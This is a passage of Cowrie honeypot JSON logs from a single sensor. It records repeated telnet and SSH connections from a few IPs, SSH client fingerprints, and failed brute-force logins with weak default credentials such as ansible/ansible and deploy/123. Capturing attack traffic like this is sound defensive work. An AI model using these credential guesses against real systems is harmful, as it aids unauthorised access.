{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57624,"dst_ip":"159.203.135.109","dst_port":23,"session":"793fb146f29e","protocol":"telnet","message":"New connection: 117.120.7.112:57624 (159.203.135.109:23) [session: 793fb146f29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:47.084668Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":59270,"dst_ip":"159.203.135.109","dst_port":23,"session":"35dfb448026d","protocol":"telnet","message":"New connection: 117.120.7.112:59270 (159.203.135.109:23) [session: 35dfb448026d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:47.716630Z"}
{"eventid":"cowrie.session.closed","duration":30.607624292373657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:47.984465Z","src_ip":"185.111.235.80","session":"f623c1e0dd4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53524,"dst_ip":"10.17.0.5","dst_port":23,"session":"e73ceefbad00","protocol":"telnet","message":"New connection: 185.111.235.80:53524 (10.17.0.5:23) [session: e73ceefbad00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:48.166486Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":33242,"dst_ip":"159.203.135.109","dst_port":23,"session":"044881bd7e9f","protocol":"telnet","message":"New connection: 117.120.7.112:33242 (159.203.135.109:23) [session: 044881bd7e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:48.584682Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":33756,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c04ebc85213","protocol":"telnet","message":"New connection: 117.120.7.112:33756 (159.203.135.109:23) [session: 3c04ebc85213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:48.737695Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56666,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fa833346f16","protocol":"ssh","message":"New connection: 176.65.139.103:56666 (10.17.0.5:22) [session: 5fa833346f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:48.946580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:48.951291Z","src_ip":"176.65.139.103","session":"5fa833346f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57492,"dst_ip":"10.17.0.5","dst_port":23,"session":"5570a375a9cf","protocol":"telnet","message":"New connection: 185.111.235.80:57492 (10.17.0.5:23) [session: 5570a375a9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:49.008770Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:49.035035Z","src_ip":"176.65.139.103","session":"5fa833346f16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:49.300615Z","src_ip":"176.65.139.103","session":"5fa833346f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":36586,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3d0a0b1e0ee","protocol":"telnet","message":"New connection: 117.120.7.112:36586 (159.203.135.109:23) [session: d3d0a0b1e0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:49.798683Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35324,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6df489611b7","protocol":"telnet","message":"New connection: 185.111.235.80:35324 (10.17.0.5:23) [session: d6df489611b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:50.117589Z"}
{"eventid":"cowrie.session.closed","duration":31.003012657165527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:50.157025Z","src_ip":"117.120.7.112","session":"eb1765775db6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:50.614664Z","src_ip":"176.65.139.103","session":"5fa833346f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40694,"dst_ip":"10.17.0.5","dst_port":23,"session":"df40e5609fe1","protocol":"telnet","message":"New connection: 185.111.235.80:40694 (10.17.0.5:23) [session: df40e5609fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:51.083082Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35632,"dst_ip":"10.17.0.5","dst_port":23,"session":"33b92c670c61","protocol":"telnet","message":"New connection: 185.111.235.80:35632 (10.17.0.5:23) [session: 33b92c670c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:51.175364Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":41804,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccc47114faf4","protocol":"telnet","message":"New connection: 117.120.7.112:41804 (159.203.135.109:23) [session: ccc47114faf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:51.497237Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":42236,"dst_ip":"159.203.135.109","dst_port":23,"session":"3722a4ddacb8","protocol":"telnet","message":"New connection: 117.120.7.112:42236 (159.203.135.109:23) [session: 3722a4ddacb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:51.647184Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45680,"dst_ip":"10.17.0.5","dst_port":23,"session":"17a32defb4d0","protocol":"telnet","message":"New connection: 185.111.235.80:45680 (10.17.0.5:23) [session: 17a32defb4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:52.086153Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":44194,"dst_ip":"159.203.135.109","dst_port":23,"session":"a04ffea02299","protocol":"telnet","message":"New connection: 117.120.7.112:44194 (159.203.135.109:23) [session: a04ffea02299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:52.505393Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48178,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee29627c6774","protocol":"telnet","message":"New connection: 185.111.235.80:48178 (10.17.0.5:23) [session: ee29627c6774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:52.515063Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50670,"dst_ip":"10.17.0.5","dst_port":23,"session":"87be5e44346e","protocol":"telnet","message":"New connection: 185.111.235.80:50670 (10.17.0.5:23) [session: 87be5e44346e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:53.039279Z"}
{"eventid":"cowrie.session.closed","duration":31.13701820373535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:53.380848Z","src_ip":"117.120.7.112","session":"855228343af9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53614,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac1471af326","protocol":"telnet","message":"New connection: 185.111.235.80:53614 (10.17.0.5:23) [session: 8ac1471af326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:53.578960Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":46920,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d5088bb0704","protocol":"telnet","message":"New connection: 117.120.7.112:46920 (159.203.135.109:23) [session: 0d5088bb0704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:53.716314Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60368,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b6e8dcc4cd9","protocol":"telnet","message":"New connection: 185.111.235.80:60368 (10.17.0.5:23) [session: 6b6e8dcc4cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:55.036599Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60520,"dst_ip":"10.17.0.5","dst_port":23,"session":"213b3aaa38c2","protocol":"telnet","message":"New connection: 185.111.235.80:60520 (10.17.0.5:23) [session: 213b3aaa38c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:55.057795Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45358,"dst_ip":"10.17.0.5","dst_port":22,"session":"251558bb5b56","protocol":"ssh","message":"New connection: 176.65.139.103:45358 (10.17.0.5:22) [session: 251558bb5b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:55.100240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:55.106122Z","src_ip":"176.65.139.103","session":"251558bb5b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:55.188923Z","src_ip":"176.65.139.103","session":"251558bb5b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.66245746612549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:55.448938Z","src_ip":"117.120.7.112","session":"1452152ceabe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51434,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a206d5b75bb","protocol":"telnet","message":"New connection: 117.120.7.112:51434 (159.203.135.109:23) [session: 5a206d5b75bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:55.560218Z"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:55.814184Z","src_ip":"176.65.139.103","session":"251558bb5b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.641459465026855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:56.205308Z","src_ip":"117.120.7.112","session":"0277650a99ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":53494,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cd18d862e8b","protocol":"telnet","message":"New connection: 117.120.7.112:53494 (159.203.135.109:23) [session: 7cd18d862e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:56.434026Z"}
{"eventid":"cowrie.session.closed","duration":31.876376390457153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:56.673513Z","src_ip":"185.111.235.80","session":"df73f00dbe3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:56.898928Z","src_ip":"176.65.139.103","session":"251558bb5b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":52374,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe64a745e92e","protocol":"telnet","message":"New connection: 117.120.7.112:52374 (159.203.135.109:23) [session: fe64a745e92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:56.933539Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":55492,"dst_ip":"159.203.135.109","dst_port":23,"session":"248497891b54","protocol":"telnet","message":"New connection: 117.120.7.112:55492 (159.203.135.109:23) [session: 248497891b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:57.157019Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57028,"dst_ip":"159.203.135.109","dst_port":23,"session":"2884fa98623f","protocol":"telnet","message":"New connection: 117.120.7.112:57028 (159.203.135.109:23) [session: 2884fa98623f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:57.809720Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48366,"dst_ip":"10.17.0.5","dst_port":23,"session":"69062310e8ed","protocol":"telnet","message":"New connection: 185.111.235.80:48366 (10.17.0.5:23) [session: 69062310e8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:58.283431Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":59096,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4302173621b","protocol":"telnet","message":"New connection: 117.120.7.112:59096 (159.203.135.109:23) [session: b4302173621b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:58.734584Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52344,"dst_ip":"10.17.0.5","dst_port":23,"session":"59a6f8dd5242","protocol":"telnet","message":"New connection: 185.111.235.80:52344 (10.17.0.5:23) [session: 59a6f8dd5242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:59.126105Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54554,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bbab4886a90","protocol":"telnet","message":"New connection: 185.111.235.80:54554 (10.17.0.5:23) [session: 4bbab4886a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:59.498702Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":32850,"dst_ip":"159.203.135.109","dst_port":23,"session":"301e6a6cacf8","protocol":"telnet","message":"New connection: 117.120.7.112:32850 (159.203.135.109:23) [session: 301e6a6cacf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:59.630688Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56968,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7f799f8c9d4","protocol":"telnet","message":"New connection: 185.111.235.80:56968 (10.17.0.5:23) [session: e7f799f8c9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:00.073464Z"}
{"eventid":"cowrie.session.closed","duration":30.4946608543396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:00.137723Z","src_ip":"117.120.7.112","session":"4f07d00be9af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.303410530090332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:00.418453Z","src_ip":"185.111.235.80","session":"3c59592f6d81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":34554,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d662349b66c","protocol":"telnet","message":"New connection: 117.120.7.112:34554 (159.203.135.109:23) [session: 4d662349b66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:00.438900Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60066,"dst_ip":"10.17.0.5","dst_port":23,"session":"879e23c0d078","protocol":"telnet","message":"New connection: 185.111.235.80:60066 (10.17.0.5:23) [session: 879e23c0d078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:00.739802Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":37226,"dst_ip":"159.203.135.109","dst_port":23,"session":"e70c94301084","protocol":"telnet","message":"New connection: 117.120.7.112:37226 (159.203.135.109:23) [session: e70c94301084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:01.506482Z"}
{"eventid":"cowrie.session.closed","duration":31.059489488601685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:01.560460Z","src_ip":"117.120.7.112","session":"75e904930290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45364,"dst_ip":"10.17.0.5","dst_port":22,"session":"893e24c5edae","protocol":"ssh","message":"New connection: 176.65.139.103:45364 (10.17.0.5:22) [session: 893e24c5edae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:01.639144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:01.645794Z","src_ip":"176.65.139.103","session":"893e24c5edae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:01.736069Z","src_ip":"176.65.139.103","session":"893e24c5edae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:02.000953Z","src_ip":"176.65.139.103","session":"893e24c5edae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":38642,"dst_ip":"159.203.135.109","dst_port":23,"session":"465c6c6f5574","protocol":"telnet","message":"New connection: 117.120.7.112:38642 (159.203.135.109:23) [session: 465c6c6f5574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:02.016943Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37606,"dst_ip":"10.17.0.5","dst_port":23,"session":"26aa9c4aa169","protocol":"telnet","message":"New connection: 185.111.235.80:37606 (10.17.0.5:23) [session: 26aa9c4aa169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:02.058270Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:03.102420Z","src_ip":"176.65.139.103","session":"893e24c5edae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":42206,"dst_ip":"159.203.135.109","dst_port":23,"session":"26a2c69f5da0","protocol":"telnet","message":"New connection: 117.120.7.112:42206 (159.203.135.109:23) [session: 26a2c69f5da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:03.116018Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41602,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4009871843c","protocol":"ssh","message":"New connection: 159.203.92.129:41602 (159.203.135.109:22) [session: b4009871843c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:03.345404Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44902,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d6d0a9cd075","protocol":"telnet","message":"New connection: 185.111.235.80:44902 (10.17.0.5:23) [session: 0d6d0a9cd075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:03.579137Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":43566,"dst_ip":"159.203.135.109","dst_port":23,"session":"90b8aa43d88b","protocol":"telnet","message":"New connection: 117.120.7.112:43566 (159.203.135.109:23) [session: 90b8aa43d88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:03.647149Z"}
